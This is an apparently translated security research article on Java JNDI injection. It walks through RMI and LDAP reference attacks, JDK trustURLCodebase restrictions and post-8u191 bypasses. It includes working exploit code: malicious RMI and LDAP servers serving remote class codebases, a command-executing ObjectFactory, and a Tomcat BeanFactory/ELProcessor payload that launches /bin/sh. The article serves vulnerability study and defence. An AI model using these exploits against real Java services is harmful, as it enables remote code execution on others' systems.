JAVA JNDI Injection Knowledge Details

Author: Tianrongxin Alpha Laboratory
Original Link: https://mp.weixin.qq.com/s/TJTOh0q0OY-j6msP6XSErg

1. Preface

JNDI is often encountered when exploiting or exploiting vulnerabilities. This paper describes what is JNDI, how RMI is used in JNDI, how LDAP is used, and how JDK 8u191 is used after.

2. Introduction to JNDI

JNDI (The Java Naming and Directory Interface) is a set of API s that access naming and directory services in Java applications. Naming services associate names with objects so that we can access objects by name.

These naming/directory service providers:

  • RMI (JAVA Remote Method Call)
  • LDAP (Lightweight Directory Access Protocol)
  • CORBA (Common Object Request Proxy Architecture)
  • DNS (Domain Name Service)

JNDI Client Call Method

//Specifies that a name name needs to be found
String jndiName= "jndiName";
//Initialize default environment
Context context = new InitialContext();
//Find data for that name
context.lookup(jndiName);

The value of the jndiName variable here can be the value in the Naming/Directory Services list above and may be attacked if the JNDI name is controlled.

3. JNDI Utilization

Utilization of RMI

RMI is a Java remote method call, which is an application programming interface used to implement remote procedure calls in the Java programming language.It allows programs running on the client to call objects on the remote server.You can look at RMI This article

Attacker Code

public static void main(String[] args) throws Exception {
    try {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Use the web server to load the byte code, save this java file below, compile the.class byte code file with javac, and upload it to the web server.

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc2"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    public Calc() {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc3"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc4"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
        return null;
    }
}

Attackee Code

public static void main(String[] args) {
    try {
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

After I run it here using jdk1.8.0_102, all four files in the / tmp / directory will be created, DEBUG will see why.

javax.naming.InitialContext#getURLOrDefaultInitCtx

343 lines getURLScheme method resolves protocol name, 345 lines NamingManager.getURLContext method returns object resolving corresponding protocol

com.sun.jndi.toolkit.url.GenericURLContext#lookup

com.sun.jndi.rmi.registry.RegistryContext#lookup

This will go to the RMI registry to find the hello object, and then look at the decodeObject method of the current class

Since the ReferenceWrapper object implements the RemoteReference interface, calling the getReference method will get the Reference object

javax.naming.spi.NamingManager#getObjectFactoryFromReference

146 rows try to get the class from the local CLASSPATH, 158 rows load the remote class according to factoryName and codebase, and follow up on the implementation of the 158 rows loadClass method

com.sun.naming.internal.VersionHelper12#loadClass

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }
    Class<?> loadClass(String className, ClassLoader cl)
        throws ClassNotFoundException {
        Class<?> cls = Class.forName(className, true, cl);
        return cls;
    }

This is where the remote class is loaded via URLClassLoader, and when you look at the web server log, you will see a request record

Since static is executed when the class is loaded, the touch/tmp/Calc1 command is executed here, ls looks at it.

Javax.naming.spi.NamingManager#getObjectFactoryFromReference 163Line ExecutionClas.newInstanceWhen (), both code blocks and parameterless constructions are executed, and both Calc2 and Calc3 files are created successfully. ls

javax.naming.spi.NamingManager#getObjectInstance

Line 321 calls the getObjectInstance method, and the Calc4 file is created. ls

Call stack under column

getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:46, HelloClient

In summary, static static code blocks, code blocks, parameterless constructors, and getObjectInstance methods are all called when loading remote classes.

I replaced jdk with1.8.0_Look at version 181

Running directly prompts an error like this

look downCom.sun.jndi.rmi.registry.RegistryContext.decodeObjectCode

Line 354, var8, is a Reference object, and the getFactoryClassLocation() method is to get the classFactoryLocation address. Neither of these is equal to null. Next, the trustURLCodebase is inverted to see the value of the trustURLCodebase variable

If the trustURLCodebase value defined in the current class static code block is false, this condition also holds, and an error is thrown.

Start default at jdk8u121 7u131 6u141 versionCom.sun.jndi.rmi.object.trustURLCodebaseSet to false,rmi will not load remote byte codes successfully.

Utilization of LDAP

LDAP is based on X.500 A standard lightweight directory access protocol. A directory is a database optimized for query, browse, and search. It organizes data in a tree structure similar to a file directory.

Attacker Code

Download first https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1 LDAP SDK dependency, then start LDAP service

public class Ldap {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Use the web server from the RMI above to load the byte code here

Attackee Code

    public static void main(String[] args) {
        try {
            String uri = "ldap://127.0.0.1:9999/calc";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

Use hereJdk1.8.0_After the 181 version runs, all four files in the / tmp / directory will be created. The calling process is the same as the JNDI RMI block. First parse the protocol, get the object of ldap protocol, look for the factoryName object in Reference, try to load this class locally, no class locally is loaded remotely with URLClassLoader...

Call stack under column

loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:45, HelloClient

Replace JDK with1.8.0_When you look at version 241, you will find that the files in the / tmp / directory were not created successfully. Look at DEBUG.

com.sun.naming.internal.VersionHelper12#loadClass

Line 101 judges that trustURLCodebase equals true to load remote objects, while trustURLCodebase defaults to false

Starting with jdk11.0.1, 8u191, 7u201, 6u211, the default com.sun.jndi.ldap.object.trustURLCodebase is set to false, and LDAP loading remote bytecodes will not succeed.

After 8u191

Use the local Reference Factory class

After jdk8u191, neither RMI nor LDAP can load classes remotely by default, or objects can be retrieved from RMI and LDAP.Previously, we analyzed the javax.naming.spi.NamingManager#getObjectFactoryFromReference method and looked for it from the local CLASPATH first, and if not, it would load remotely.Static code blocks, code blocks, parameterless constructors, and getObjectInstance methods are then executed.All you need to do is find the Reference Factory class in the attacker's local CLASSPATH and execute payload in one of these four places.Master Michael Stepankin found org.apache.naming.factory.BeanFactory#getObjectInstance in tomcat for use.

tomcat jar download address https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core/8.5.11

Look at poc first

            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()\")"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);

DEBUG to see the cause of the vulnerability

org.apache.naming.factory.BeanFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            NamingException ne;
            try {
                Reference ref = (Reference)obj;
                // Get javax.el.ELProcessor
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                            // Load javax.el.ELProcessor class
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    ...
                }

                if (beanClass == null) {
                    throw new NamingException("Class not found: " + beanClassName);
                } else {
                    BeanInfo bi = Introspector.getBeanInfo(beanClass);
                    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                    Object bean = beanClass.newInstance();
                    //Gets the value of the forceString property {Type: forceString,Content: x=eval}
                    RefAddr ra = ref.get("forceString");
                    Map<String, Method> forced = new HashMap();
                    String value;
                    String propName;
                    int i;
                    if (ra != null) {
                        value = (String)ra.getContent();
                        Class<?>[] paramTypes = new Class[]{String.class};
                        String[] arr$ = value.split(",");
                        i = arr$.length;

                        for(int i$ = 0; i$ < i; ++i$) {
                            String param = arr$[i$];
                            param = param.trim();
                            //(char)61 has a value of =, get = at the position of the string
                            int index = param.indexOf(61);
                            if (index >= 0) {
                                    //eval  
                                propName = param.substring(index + 1).trim();
                                //x
                                param = param.substring(0, index).trim();
                            } else {
                                propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                            }

                            try {
                                //x=(ELProcessor.getMethod("eval",String[].class))
                                forced.put(param, beanClass.getMethod(propName, paramTypes));
                            } catch (SecurityException | NoSuchMethodException var24) {
                                ...
                            }
                        }
                    }

                    Enumeration e = ref.getAll();

                    while(true) {
                        ...
                                                        // "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
                            value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            //eval method...
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                valueArray[0] = value;

                                try {
                                        //Reflect Execute ELProcessor.eval Method
                                    method.invoke(bean, valueArray);
                                } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                    throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                                }
                            } else {
                                ...
                            }
                        }
                    }
                }
            }
            ...
    }

I've added some comments to this class, ELProcessor.eval() handles the EL expression and executes it.

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
Trigger local Gadget s using serialized data

com.sun.jndi.ldap.Obj#decodeObject

Here you can see that data can be either a serialized or a Reference object in LDAP.deserializeObject method is called if it is a serialized object

com.sun.jndi.ldap.Obj#deserializeObject

This method is to deserialize and restore byte data using ObjectInputStream.Then transfer the payload of the serialized object, and the client triggers it here.

LDAP SERVER can be modified

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //getObject Gets Gadget
            e.addAttribute("javaSerializedData", serializeObject(getObject(this.cmd)));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

Call Chain

readObject:1170, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2232, ObjectInputStream (java.io)
readOrdinaryObject:2123, ObjectInputStream (java.io)
readObject0:1624, ObjectInputStream (java.io)
readObject:464, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:43, HelloClient

4. Summary

JNDI injection vulnerabilities are common and call the getter/setter method in fastjson/jackson. If there is a lookup method in the getter/setter method and the parameters are controlled, you can see jackson's blacklist https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java To learn which classes can be used for JNDI injection.The readObject method is automatically invoked in the weblogic t3 protocol based on serialized data transfer. weblogic uses the Spring framework JtaTransactionManager class, which also has a JNDI injection call chain.

Reference Links

  1. https://www.veracode.com/blog/research/exploiting-jndi-injections-java

  2. https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

  3. https://www.anquanke.com/post/id/201181

  4. https://xz.aliyun.com/t/7264

  5. https://xz.aliyun.com/t/6633

  6. https://mp.weixin.qq.com/s/0LePKo8k7HDIjk9ci8dQtA

This article was published by Seebug Paper. Please indicate the source if you want to reproduce it.This article address: https://paper.seebug.org/1207/

Tags: Java Web Server Apache Tomcat

Posted on Fri, 15 May 2020 20:41:25 -0700 by rinteractive